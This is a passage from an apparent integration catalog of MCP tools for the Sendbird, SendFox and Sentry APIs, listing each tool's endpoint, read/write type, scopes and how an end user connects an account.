integration does not send, so this call is refused before any request is made. Manage push credentials in the Sendbird Dashboard (Settings > Application > Notifications). PUT /api/v1/sendbird/v3/applications/push/fcm/{provider_id}. Scopes: api. sendbird_put_v3_applications_push_hms_by_provider_id (write) — Updates a specific HMS (Huawei Mobile Services) push configuration for your client app. You can also update the configurations in your dashboard under Settings > Application > Notifications. via PUT /v3/applications/push/huawei/{provider_id} PUT /api/v1/sendbird/v3/applications/push/huawei/{provider_id}. Scopes: api. sendbird_put_v3_applications_push_message_templates_by_template_name (write) — Updates a specific push notification content template of an application. The name of a content template is either `default` or `alternative`. via PUT /v3/applications/push/message_templates/{template_name} PUT /api/v1/sendbird/v3/applications/push/message_templates/{template_name}. Scopes: api. sendbird_put_v3_applications_push_settings (write) — Determines whether to turn on the push notifications feature for an application. via PUT /v3/applications/push/settings PUT /api/v1/sendbird/v3/applications/push/settings. Scopes: api. sendbird_put_v3_applications_settings_auto_event_message (write) — Determines whether to automatically send event messages to group channels when events take place in an application. You can choose which auto event message to receive on the Sendbird Dashboard via PUT /v3/applications/settings/auto_event_message PUT /api/v1/sendbird/v3/applications/settings/auto_event_message. Scopes: api. sendbird_put_v3_applications_settings_global_by_custom_type (write) — Sets the application's GLOBAL message moderation settings -- domain filter, profanity filter, image moderation and profanity-triggered moderation -- which apply to every channel of the application, and returns the resulting global settings. Only the fields sent are changed. via PUT /v3/applications/settings_global PUT /api/v1/sendbird/v3/applications/settings_global. Scopes: api. sendbird_put_v3_applications_settings_ip_whitelist (write) — Adds IP addresses and ranges to your Sendbird application settings. Both currently added and any previously added IPs are granted API access. You can configure the IP whitelist under Settings > Security > Allowed IPs in the Sendbird Dashboard. via PUT /v3/applications/settings/ip_whitelist PUT /api/v1/sendbird/v3/applications/settings/ip_whitelist. Scopes: api. sendbird_put_v3_applications_settings_reactions (write) — Turn on or off reactions in a Sendbird application. Note: This action also allows reactions in UIKit. via PUT /v3/applications/settings/reactions PUT /api/v1/sendbird/v3/applications/settings/reactions. Scopes: api. sendbird_put_v3_applications_settings_use_default_emoji (write) — Determines whether to use the 7 default emojis initially provided. via PUT /v3/applications/settings/use_default_emoji PUT /api/v1/sendbird/v3/applications/settings/use_default_emoji. Scopes: api. sendbird_put_v3_applications_settings_webhook (write) — Chooses which events for your webhook server to receive payloads for. By subscribing to specific events based on your own needs, you can control the number of HTTP requests to your webhook server. via PUT /v3/applications/settings/webhook PUT /api/v1/sendbird/v3/applications/settings/webhook. Scopes: api. sendbird_put_v3_bots_by_bot_userid (write) — Updates information on a bot. via PUT /v3/bots/{bot_userid} PUT /api/v1/sendbird/v3/bots/{bot_userid}. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_messages_by_message_id (write) — Updates information on a message in a channel. via PUT /v3/{channel_type}/{channel_url}/messages/{message_id} PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_messages_by_message_id_sorted_metaarray (write) — Updates the values of specific items by their keys. via PUT /v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_metacounter (write) — Updates existing items of a channel metacounter by their keys, or adds new items to the metacounter. via PUT /v3/{channel_type}/{channel_url}/metacounter PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_metacounter_by_key (write) — Updates existing items of a channel metacounter by their keys, or adds new items to the metacounter. via PUT /v3/{channel_type}/{channel_url}/metacounter/{key} PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter/{key}. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_metadata (write) — Updates existing items of a channel metadata by their keys, or adds new items to the metadata. via PUT /v3/{channel_type}/{channel_url}/metadata PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata. Scopes: api. sendbird_put_v3_by_channel_type_by_channel_url_metadata_by_key (write) — Updates existing items of a channel metadata by their keys, or adds new items to the metadata. via PUT /v3/{channel_type}/{channel_url}/metadata/{key} PUT /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata/{key}. Scopes: api. sendbird_put_v3_emoji_categories_by_emoji_category_id (write) — Updates the URL of an emoji category with the specified ID. via PUT /v3/emoji_categories/{emoji_category_id} PUT /api/v1/sendbird/v3/emoji_categories/{emoji_category_id}. Scopes: api. sendbird_put_v3_emojis_by_emoji_key (write) — Updates the image URL of an emoji with the specified key. via PUT /v3/emojis/{emoji_key} PUT /api/v1/sendbird/v3/emojis/{emoji_key}. Scopes: api. sendbird_put_v3_group_channels_by_channel_url (write) — Updates information on a group channel. Note: You can't change the members of the channel here. To do so, see invite as members action below. via PUT /v3/group_channels/{channel_url} PUT /api/v1/sendbird/v3/group_channels/{channel_url}. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_accept (write) — Accepts an invitation from a private group channel for a user to join. Since a user is allowed to join up to 2,000 group channels, the invitation to a user who already belongs to a maximum number of group channels will be canceled automatically. Note: This action is effective only when the `auto_accept` property of an application is set to false. You can change the value of the property using the update default channel invitation preference action, or update a user's channel invitation preference action. via PUT /v3/group_channels/{channel_url}/accept PUT /api/v1/sendbird/v3/group_channels/{channel_url}/accept. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_ban_by_banned_user_id (write) — Updates details of a ban imposed on a user. You can change the length of the ban with this action, and also provide an updated description. via PUT /v3/group_channels/{channel_url}/ban/{banned_user_id} PUT /api/v1/sendbird/v3/group_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_decline (write) — Declines an invitation for a user to not join a private group channel. Note: This action is effective only when the `auto_accept` property of an application is set to false. You can change the value of the property using the update default channel invitation preference action, or update a user's channel invitation preference action. via PUT /v3/group_channels/{channel_url}/decline PUT /api/v1/sendbird/v3/group_channels/{channel_url}/decline. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_freeze (write) — Freezes or unfreezes a group channel. Note: Only users designated as channel operators are allowed to talk when a channel is frozen. via PUT /v3/group_channels/{channel_url}/freeze PUT /api/v1/sendbird/v3/group_channels/{channel_url}/freeze. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_hide (write) — Hides or archives a channel from the channel list of either a specific user or entire channel members. Normally, a hidden channel comes back and shows up in the channel list when a member in the channel sends a new message. This automatically-triggered behavior is intended for users who want to temporarily remove a channel from their list because leaving the channel would delete all the past messages and stored data. You can also leave out a channel from the list and archive the channel. The channel doesn't appear even when receiving a new message from other member. via PUT /v3/group_channels/{channel_url}/hide PUT /api/v1/sendbird/v3/group_channels/{channel_url}/hide. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_join (write) — Allows a user to join a public group channel. Since a user is allowed to join up to 2,000 group channels, a user who already belongs to a maximum number of group channels can't join a new channel. Note: This action is only permitted for public group channels where the `is_public` property is true. via PUT /v3/group_channels/{channel_url}/join PUT /api/v1/sendbird/v3/group_channels/{channel_url}/join. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_leave (write) — Makes one or more members leave a group channel. via PUT /v3/group_channels/{channel_url}/leave PUT /api/v1/sendbird/v3/group_channels/{channel_url}/leave. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_messages_mark_as_delivered (write) — Marks all messages in a group channel as delivered for a given user. This action is only applicable for users in a group channel. via PUT /v3/group_channels/{channel_url}/messages/mark_as_delivered PUT /api/v1/sendbird/v3/group_channels/{channel_url}/messages/mark_as_delivered. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_messages_mark_as_read (write) — Marks all messages in a group channel as read for a given user. This action is only applicable for users in a group channel. via PUT /v3/group_channels/{channel_url}/messages/mark_as_read PUT /api/v1/sendbird/v3/group_channels/{channel_url}/messages/mark_as_read. Scopes: api. sendbird_put_v3_group_channels_by_channel_url_reset_user_history (write) — Resets the properties related to a user's chat history in a group channel, then clears the existing messages in the channel on the user's side only. A user can no longer see the messages in a group channel once this action is called, but those messages are not deleted from the database of the Sendbird system. All other members in the channel can retrieve and see the messages. This action simply clears the messages for the user by updating the `last_message` and `read_receipt` properties of the channel resource in addition to other internally managed data such as the number of the user's unread message. Using the `reset_all` property, you can also reset the properties related to all users' chat history in a group channel. via PUT /v3/group_channels/{channel_url}/reset_user_history PUT /api/v1/sendbird/v3/group_channels/{channel_url}/reset_user_history. Scopes: api. sendbird_put_v3_open_channels_by_channel_url (write) — Updates information on an open channel. via PUT /v3/open_channels/{channel_url} PUT /api/v1/sendbird/v3/open_channels/{channel_url}. Scopes: api. sendbird_put_v3_open_channels_by_channel_url_ban_by_banned_user_id (write) — Updates details of a ban imposed on a user. You can change the length of a ban with this action, and also provide an updated description. via PUT /v3/open_channels/{channel_url}/ban/{banned_user_id} PUT /api/v1/sendbird/v3/open_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_put_v3_open_channels_by_channel_url_freeze (write) — Freezes or unfreezes an open channel. Note: Only users designated as channel operators are allowed to talk when a channel is frozen. via PUT /v3/open_channels/{channel_url}/freeze PUT /api/v1/sendbird/v3/open_channels/{channel_url}/freeze. Scopes: api. sendbird_put_v3_polls_by_poll_id (write) — This action updates information of a poll. To change the content of a poll option, see the update a poll option page. via PUT /v3/polls/{poll_id} PUT /api/v1/sendbird/v3/polls/{poll_id}. Scopes: api. sendbird_put_v3_polls_by_poll_id_close (write) — This action closes a poll and prevents users from voting any further. via PUT /v3/polls/{poll_id}/close PUT /api/v1/sendbird/v3/polls/{poll_id}/close. Scopes: api. sendbird_put_v3_polls_by_poll_id_options_by_option_id (write) — This action updates the content of a poll option. Voting for an option doesn't update the option. via PUT /v3/polls/{poll_id}/options/{option_id} PUT /api/v1/sendbird/v3/polls/{poll_id}/options/{option_id}. Scopes: api. sendbird_put_v3_polls_by_poll_id_vote (write) — This action adds or removes a vote from a poll option, changing the number of votes given to each option. Use this action to override a previous vote and update the user's final choice of poll options. via PUT /v3/polls/{poll_id}/vote PUT /api/v1/sendbird/v3/polls/{poll_id}/vote. Scopes: api. sendbird_put_v3_users_by_user_id (write) — Updates information on a user. In addition to changing a user's nickname or profile image, you can issue a new access token for the user. The new access token replaces the previous one as the necessary token for authentication. You can also deactivate or reactivate a user. If the `leave_all_when_deactivated` is true (which it is by default), a user leaves all joined group channels when deactivated. via PUT /v3/users/{user_id} PUT /api/v1/sendbird/v3/users/{user_id}. Scopes: api. sendbird_put_v3_users_by_user_id_channel_invitation_preference (write) — Updates the channel invitation preference for a user's private group channels. Note: Using the update default channel invitation preference action, you can update the value of channel invitation preference which is globally applied to all users within the application. via PUT /v3/users/{user_id}/channel_invitation_preference PUT /api/v1/sendbird/v3/users/{user_id}/channel_invitation_preference. Scopes: api. sendbird_put_v3_users_by_user_id_count_preference_by_channel_url (write) — Updates count preference of a specific group channel of a user. via PUT /v3/users/{user_id}/count_preference/{channel_url} PUT /api/v1/sendbird/v3/users/{user_id}/count_preference/{channel_url}. Scopes: api. sendbird_put_v3_users_by_user_id_mark_as_read_all (write) — Marks all of a user's unread messages as read in the joined group channels. via PUT /v3/users/{user_id}/mark_as_read_all PUT /api/v1/sendbird/v3/users/{user_id}/mark_as_read_all. Scopes: api. sendbird_put_v3_users_by_user_id_metadata (write) — Updates existing items of a user metadata by their keys, or adds new items to the metadata. via PUT /v3/users/{user_id}/metadata PUT /api/v1/sendbird/v3/users/{user_id}/metadata. Scopes: api. sendbird_put_v3_users_by_user_id_metadata_by_key (write) — Updates existing items of a user metadata by their keys, or adds new items to the metadata. via PUT /v3/users/{user_id}/metadata/{key} PUT /api/v1/sendbird/v3/users/{user_id}/metadata/{key}. Scopes: api. sendbird_put_v3_users_by_user_id_my_group_channels_leave (write) — Makes a user leave all joined group channels. via PUT /v3/users/{user_id}/my_group_channels/leave PUT /api/v1/sendbird/v3/users/{user_id}/my_group_channels/leave. Scopes: api. sendbird_put_v3_users_by_user_id_push_preference (write) — Updates a user's push preferences. Through this action, you can set `do_not_disturb` for a user, and update the time frame in which the setting applies. via PUT /v3/users/{user_id}/push_preference PUT /api/v1/sendbird/v3/users/{user_id}/push_preference. Scopes: api. sendbird_put_v3_users_by_user_id_push_preference_by_channel_url (write) — Updates push preferences for a user's specific group channel. The push notifications feature is only available for group channels. via PUT /v3/users/{user_id}/push_preference/{channel_url} PUT /api/v1/sendbird/v3/users/{user_id}/push_preference/{channel_url}. Scopes: api. sendbird_put_v3_users_by_user_id_push_template (write) — Chooses a push notification content template of a user's own. The push notifications feature is only available for group channels. via PUT /v3/users/{user_id}/push/template PUT /api/v1/sendbird/v3/users/{user_id}/push/template. Scopes: api. ================================================================================ ## SendFox URL: https://www.agenticfabriq.com/integrations/sendfox Section: Integrated Tools SendFox — 65 MCP tools Provider key: sendfox. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sendfox_delete_automation_emails_by_id (write, destructive) — Remove an email from an automation via DELETE /automation-emails/{id} DELETE /api/v1/sendfox/automation-emails/{id}. Scopes: api. sendfox_delete_automations_by_id (write, destructive) — Delete an automation -- Soft-deletes the automation and cancels all scheduled deliverables via DELETE /automations/{id} DELETE /api/v1/sendfox/automations/{id}. Scopes: api. sendfox_delete_campaigns_by_id (write, destructive) — Delete a draft campaign -- Only draft campaigns (not yet sent) can be deleted. Uses soft delete. via DELETE /campaigns/{id} DELETE /api/v1/sendfox/campaigns/{id}. Scopes: api. sendfox_delete_contact_fields_by_id (write, destructive) — Delete a contact field -- Permanently deletes the contact field via DELETE /contact-fields/{id} DELETE /api/v1/sendfox/contact-fields/{id}. Scopes: api. sendfox_delete_contact_tags_by_id (write, destructive) — Delete a contact tag -- Deletes the tag. Tagged contacts are kept — only the tag and its attachments (including campaign audience use) are removed. via DELETE /contact-tags/{id} DELETE /api/v1/sendfox/contact-tags/{id}. Scopes: api. sendfox_delete_contacts_by_contact_id_tags_by_tag_id (write, destructive) — Remove a tag from a contact via DELETE /contacts/{contact_id}/tags/{tag_id} DELETE /api/v1/sendfox/contacts/{contact_id}/tags/{tag_id}. Scopes: api. sendfox_delete_contacts_by_id (write, destructive) — Delete a contact -- Soft-deletes a contact and cancels any scheduled deliverables via DELETE /contacts/{id} DELETE /api/v1/sendfox/contacts/{id}. Scopes: api. sendfox_delete_domains_by_id (write, destructive) — Delete a sender domain -- Removes the domain from SendGrid and soft-deletes locally via DELETE /domains/{id} DELETE /api/v1/sendfox/domains/{id}. Scopes: api. sendfox_delete_forms_by_id (write, destructive) — Delete a form -- Soft-deletes the form via DELETE /forms/{id} DELETE /api/v1/sendfox/forms/{id}. Scopes: api. sendfox_delete_lists_by_id (write, destructive) — Delete a contact list -- Soft-deletes a list. Returns 409 if the list is used by forms, landing pages, or automations. via DELETE /lists/{id} DELETE /api/v1/sendfox/lists/{id}. Scopes: api. sendfox_delete_lists_by_list_id_contacts_by_contact_id (write, destructive) — Remove a contact from a list via DELETE /lists/{list_id}/contacts/{contact_id} DELETE /api/v1/sendfox/lists/{list_id}/contacts/{contact_id}. Scopes: api. sendfox_get_automations (read) — List automations via GET /automations GET /api/v1/sendfox/automations. Scopes: api. sendfox_get_automations_by_id (read) — Get a specific automation -- Returns automation with triggers, items, and campaign stats via GET /automations/{id} GET /api/v1/sendfox/automations/{id}. Scopes: api. sendfox_get_campaign_sections (read) — List saved campaign sections -- Returns only content owned by the authenticated account, including saved HTML. Shared gallery content is not included. This endpoint does not publish, modify or send content. Results are ordered by descending ID, 20 per page. via GET /campaign-sections GET /api/v1/sendfox/campaign-sections. Scopes: api. sendfox_get_campaign_sections_by_id (read) — Get a saved campaign section -- Returns only content owned by the authenticated account, including saved HTML. Shared gallery content is not included. This endpoint does not publish, modify or send content. via GET /campaign-sections/{id} GET /api/v1/sendfox/campaign-sections/{id}. Scopes: api. sendfox_get_campaign_templates (read) — List saved campaign templates -- Returns only content owned by the authenticated account, including saved HTML. Shared gallery content is not included. This endpoint does not publish, modify or send content. Results are ordered by descending ID, 20 per page. via GET /campaign-templates GET /api/v1/sendfox/campaign-templates. Scopes: api. sendfox_get_campaign_templates_by_id (read) — Get a saved campaign template -- Returns only content owned by the authenticated account, including saved HTML. Shared gallery content is not included. This endpoint does not publish, modify or send content. via GET /campaign-templates/{id} GET /api/v1/sendfox/campaign-templates/{id}. Scopes: api. sendfox_get_campaigns (read) — List campaigns -- Returns a paginated list of campaigns (100 per page) via GET /campaigns GET /api/v1/sendfox/campaigns. Scopes: api. sendfox_get_campaigns_by_id (read) — Get a specific campaign via GET /campaigns/{id} GET /api/v1/sendfox/campaigns/{id}. Scopes: api. sendfox_get_campaigns_by_id_engagement (read) — List the contacts behind a campaign's engagement -- Returns the contacts in one of a sent campaign's engagement groups. non_openers covers contacts the campaign actually sent to who did not open it — queued and cancelled deliverables are excluded, since they never had the chance. via GET /campaigns/{id}/engagement GET /api/v1/sendfox/campaigns/{id}/engagement. Scopes: api. sendfox_get_campaigns_by_id_stats (read) — Get campaign performance statistics -- Returns sent count and open/click/bounce/unsubscribe/spam counts and rates, all read from stored counters. Pass `include_link_stats=true` to also get `link_stats` — the campaign's links ranked by click count. That part is opt-in because it counts rows in `email_link_clicks` once per link rather than reading a counter, so leaving it off keeps this endpoint as cheap as it has always been. via GET /campaigns/{id}/stats GET /api/v1/sendfox/campaigns/{id}/stats. Scopes: api. sendfox_get_campaigns_stats (read) — Get statistics for multiple campaigns -- Returns stored counts and rates for one to 100 distinct owned campaigns in request order. The entire request fails with the same validation error for missing, deleted or foreign IDs. Does not return link stats or query individual delivery events. via GET /campaigns/stats GET /api/v1/sendfox/campaigns/stats. Scopes: api. sendfox_get_contact_fields (read) — List user contact fields -- Returns custom contact fields defined by the user (20 per page) via GET /contact-fields GET /api/v1/sendfox/contact-fields. Scopes: api. sendfox_get_contact_fields_by_id (read) — Get a specific contact field via GET /contact-fields/{id} GET /api/v1/sendfox/contact-fields/{id}. Scopes: api. sendfox_get_contact_tags (read) — List contact tags -- Lists the account's tags, newest first, each with its contact count. Distinct from the legacy /tags endpoints, which operate on lists. via GET /contact-tags GET /api/v1/sendfox/contact-tags. Scopes: api. sendfox_get_contact_tags_by_id (read) — Get a contact tag via GET /contact-tags/{id} GET /api/v1/sendfox/contact-tags/{id}. Scopes: api. sendfox_get_contacts (read) — List contacts -- Returns a paginated list of contacts (100 per page by default, up to 1000 via `per_page`). Supports engagement filtering through `filter[...]` query parameters, so you can answer questions like "who last opened over a year ago" without paging the whole account. All filter conditions are AND-ed. Pass `count_only=true` to get just the number of matches — the cheapest way to size an audience before acting on it. via GET /contacts GET /api/v1/sendfox/contacts. Scopes: api. sendfox_get_contacts_bulk_actions_by_id (read) — Check the progress of a bulk contact action -- For a dry run, matched_count is the answer and nothing was modified. A run whose match set exceeds the per-request ceiling fails without applying anything. via GET /contacts/bulk-actions/{id} GET /api/v1/sendfox/contacts/bulk-actions/{id}. Scopes: api. sendfox_get_contacts_by_contact_id_tags (read) — List a contact's tags via GET /contacts/{contact_id}/tags GET /api/v1/sendfox/contacts/{contact_id}/tags. Scopes: api. sendfox_get_contacts_by_id (read) — Get a specific contact via GET /contacts/{id} GET /api/v1/sendfox/contacts/{id}. Scopes: api. sendfox_get_contacts_by_id_activity (read) — Get email activity for a contact -- Returns paginated email deliverables and contact-level engagement summary via GET /contacts/{id}/activity GET /api/v1/sendfox/contacts/{id}/activity. Scopes: api. sendfox_get_contacts_unsubscribed (read) — List unsubscribed contacts via GET /contacts/unsubscribed GET /api/v1/sendfox/contacts/unsubscribed. Scopes: api. sendfox_get_domains (read) — List sender domains -- Returns a paginated list of the user's whitelabel/sender domains via GET /domains GET /api/v1/sendfox/domains. Scopes: api. sendfox_get_domains_by_id (read) — Get domain with DNS records -- Returns domain details including DNS records needed for verification via GET /domains/{id} GET /api/v1/sendfox/domains/{id}. Scopes: api. sendfox_get_forms (read) — List forms via GET /forms GET /api/v1/sendfox/forms. Scopes: api. sendfox_get_forms_by_id (read) — Get a specific form via GET /forms/{id} GET /api/v1/sendfox/forms/{id}. Scopes: api. sendfox_get_lists (read) — List contact lists via GET /lists GET /api/v1/sendfox/lists. Scopes: api. sendfox_get_lists_by_id (read) — Get a specific contact list -- Returns list details including average open and click rates via GET /lists/{id} GET /api/v1/sendfox/lists/{id}. Scopes: api. sendfox_get_lists_by_list_id_contacts (read) — Get contacts in a list via GET /lists/{list_id}/contacts GET /api/v1/sendfox/lists/{list_id}/contacts. Scopes: api. sendfox_get_me (read) — Get current user information via GET /me GET /api/v1/sendfox/me. Scopes: api. sendfox_patch_automation_emails_by_id (write) — Update an automation email via PATCH /automation-emails/{id} PATCH /api/v1/sendfox/automation-emails/{id}. Scopes: api. sendfox_patch_automations_by_id (write) — Update an automation -- Update title, trigger, or active status. Activating reschedules stale deliverables. via PATCH /automations/{id} PATCH /api/v1/sendfox/automations/{id}. Scopes: api. sendfox_patch_campaigns_by_id (write) — Update a draft campaign -- Only draft campaigns (not yet sent) can be updated. All fields are optional. via PATCH /campaigns/{id} PATCH /api/v1/sendfox/campaigns/{id}. Scopes: api. sendfox_patch_contact_fields_by_id (write) — Update a contact field label -- Updates the label and auto-regenerates the name slug. Note: `contact_field_type_id` is immutable and cannot be changed after creation. via PATCH /contact-fields/{id} PATCH /api/v1/sendfox/contact-fields/{id}. Scopes: api. sendfox_patch_contact_tags_by_id (write) — Update a contact tag via PATCH /contact-tags/{id} PATCH /api/v1/sendfox/contact-tags/{id}. Scopes: api. sendfox_patch_contacts_by_id (write) — Update a contact -- Update contact details including name, list memberships, and custom fields via PATCH /contacts/{id} PATCH /api/v1/sendfox/contacts/{id}. Scopes: api. sendfox_patch_forms_by_id (write) — Update a form via PATCH /forms/{id} PATCH /api/v1/sendfox/forms/{id}. Scopes: api. sendfox_patch_lists_by_id (write) — Update a contact list via PATCH /lists/{id} PATCH /api/v1/sendfox/lists/{id}. Scopes: api. sendfox_patch_unsubscribe (write) — Unsubscribe a contact by email via PATCH /unsubscribe PATCH /api/v1/sendfox/unsubscribe. Scopes: api. sendfox_post_automations (write) — Create an automation via POST /automations POST /api/v1/sendfox/automations. Scopes: api. sendfox_post_automations_by_id_emails (write) — Add an email to an automation via POST /automations/{id}/emails POST /api/v1/sendfox/automations/{id}/emails. Scopes: api. sendfox_post_campaigns (write) — Create a new campaign -- Creates a campaign as a draft. To send it, use the send endpoint or provide scheduled_at. Subject lines cannot start with "RE:" or "FWD:". At least one list is required if scheduled_at is provided. via POST /campaigns POST /api/v1/sendfox/campaigns. Scopes: api. sendfox_post_campaigns_by_id_resend (write) — Clone a sent campaign at part of its original audience -- Creates a new draft with the original's content, sender, and exclusions, aimed at the chosen slice of the original audience. Omit scheduled_at to leave it as a draft. The source campaign's lists are deliberately not carried over — the engagement segment is the audience. via POST /campaigns/{id}/resend POST /api/v1/sendfox/campaigns/{id}/resend. Scopes: api. sendfox_post_campaigns_by_id_send (write) — Send a campaign immediately -- Schedules a draft campaign for immediate sending. The campaign must: - Not already be sent or scheduled - Have at least one list assigned - Not be a confirmation (double opt-in) email — those are delivered to each contact as they subscribe, never as a broadcast - The user must not be in a warmup/throttle period All existing abuse prevention applies automatically: content approval workflow, sending throttles, spam detection, and bounce rate monitoring. via POST /campaigns/{id}/send POST /api/v1/sendfox/campaigns/{id}/send. Scopes: api. sendfox_post_contact_fields (write) — Create a custom contact field -- Creates a custom field for contacts. The `name` is auto-generated from the `label` as a slug. Provide `type` (`text`, `number`, or `date`) or the existing `contact_field_type_id` UUID. If both are provided, they must identify the same type. UUIDs are the same for every account: | Type | `contact_field_type_id` | | ------ | -------------------------------------- | | text | `0abe5601-7738-43c8-858f-81911ecf89ee` | | number | `e43c6471-b3ff-4541-80c5-964c62decd15` | | date | `fe7dd76c-5113-4159-bc7c-0dbf0ed8d404` | The value is immutable after creation and is not returned by any endpoint - responses carry the human-readable `type` (`text`, `number`, `date`) instead. via POST /contact-fields POST /api/v1/sendfox/contact-fields. Scopes: api. sendfox_post_contact_tags (write) — Create a contact tag -- Creates a tag. A brand color is auto-assigned when none is provided. Tag names are unique per account. via POST /contact-tags POST /api/v1/sendfox/contact-tags. Scopes: api. sendfox_post_contacts (write) — Create a new contact via POST /contacts POST /api/v1/sendfox/contacts. Scopes: api. sendfox_post_contacts_batch (write) — Batch import contacts -- Import up to 1,000 contacts in a single request. Creates new contacts or updates existing ones. via POST /contacts/batch POST /api/v1/sendfox/contacts/batch. Scopes: api. sendfox_post_contacts_bulk_actions (write) — Apply a tag or list change to every contact matching a filter -- Queues one action against every contact the filter matches, applied in chunks in the background. Returns immediately with an id to poll. **Run with `dry_run: true` first.** A dry run reports how many contacts match and changes nothing — it is the only way to catch a filter that matches more than intended, and a bulk write is not undoable. An empty filter (which would match the whole account) is rejected unless it is a dry run. Per-campaign conditions (`opened_campaign_id`, `not_opened_campaign_id`, `clicked_campaign_id`) are available here but not on `GET /contacts`, because they are resolved in the background rather than inside a request. Bulk delete and bulk unsubscribe are deliberately not offered. via POST /contacts/bulk-actions POST /api/v1/sendfox/contacts/bulk-actions. Scopes: api. sendfox_post_contacts_by_contact_id_tags_by_tag_id (write) — Attach a tag to a contact -- Idempotent. Returns the contact's tags after the change. via POST /contacts/{contact_id}/tags/{tag_id} POST /api/v1/sendfox/contacts/{contact_id}/tags/{tag_id}. Scopes: api. sendfox_post_domains (write) — Add a sender domain -- Adds a new sender domain and creates the corresponding SendGrid whitelabel domain. Requires an active subscription and SendGrid subuser. via POST /domains POST /api/v1/sendfox/domains. Scopes: api. sendfox_post_domains_by_id_validate (write) — Validate domain DNS records -- Triggers DNS validation for the domain via SendGrid. Returns whether validation passed and any errors for specific DNS records. via POST /domains/{id}/validate POST /api/v1/sendfox/domains/{id}/validate. Scopes: api. sendfox_post_forms (write) — Create a new form -- Creates a subscription form linked to one or more lists. Free users are limited to 1 form. via POST /forms POST /api/v1/sendfox/forms. Scopes: api. sendfox_post_lists (write) — Create a new contact list via POST /lists POST /api/v1/sendfox/lists. Scopes: api. sendfox_post_lists_by_list_id_contacts (write) — Add a contact to a list -- Adds an existing contact to a list. If the contact is already in the list, no duplicate is created. via POST /lists/{list_id}/contacts POST /api/v1/sendfox/lists/{list_id}/contacts. Scopes: api. ================================================================================ ## Sentry URL: https://www.agenticfabriq.com/integrations/sentry Section: Integrated Tools Sentry — 221 MCP tools Provider key: sentry. Scopes: alerts:read, alerts:write, event:admin, event:read, event:write, member:admin, org:admin, org:ci, org:read, org:write, project:admin, project:read, project:releases, project:write, team:admin. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sentry_add_organization_member (write) — Add a Member to an Organization. POST /api/0/organizations/{organization_id_or_slug}/members/ on Sentry. Requires organization_id_or_slug, email. POST /api/v1/tools/sentry/add-organization-member. Scopes: member:admin. sentry_add_organization_member_team (write) — Add an Organization Member to a Team. POST /api/0/organizations/{organization_id_or_slug}/members/{member_id}/teams/{team_id_or_slug}/ on Sentry. Requires organization_id_or_slug, member_id, team_id_or_slug. POST /api/v1/tools/sentry/add-organization-member-team. Scopes: org:read. sentry_add_project_symbol_source (write) — Add a Symbol Source to a Project. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/symbol-sources/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, type, name. POST /api/v1/tools/sentry/add-project-symbol-source. Scopes: project:admin. sentry_add_project_team (write) — Add a Team to a Project. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/teams/{team_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, team_id_or_slug. POST /api/v1/tools/sentry/add-project-team. Scopes: project:admin. sentry_bulk_mutate_a_list_of_issues (write) — Bulk mutate various attributes on issues. The list of issues to modify is given through the `id` query parameter. It is repeated for each issue that should be modified. - For non-status updates, the `id` query parameter is required. - For status updates... POST /api/v1/tools/sentry/bulk-mutate-a-list-of-issues. Scopes: event:write. sentry_bulk_remove_a_list_of_issues (write, destructive) — DESTRUCTIVE - Permanently remove the given issues. The list of issues to modify is given through the `id` query parameter. It is repeated for each issue that should be removed. Only queries by 'id' are accepted. If any IDs are out of scope this operation will... POST /api/v1/tools/sentry/bulk-remove-a-list-of-issues. Scopes: event:admin. sentry_bulk_update_project_environments (write) — Bulk update the visibility for a project's environments. POST 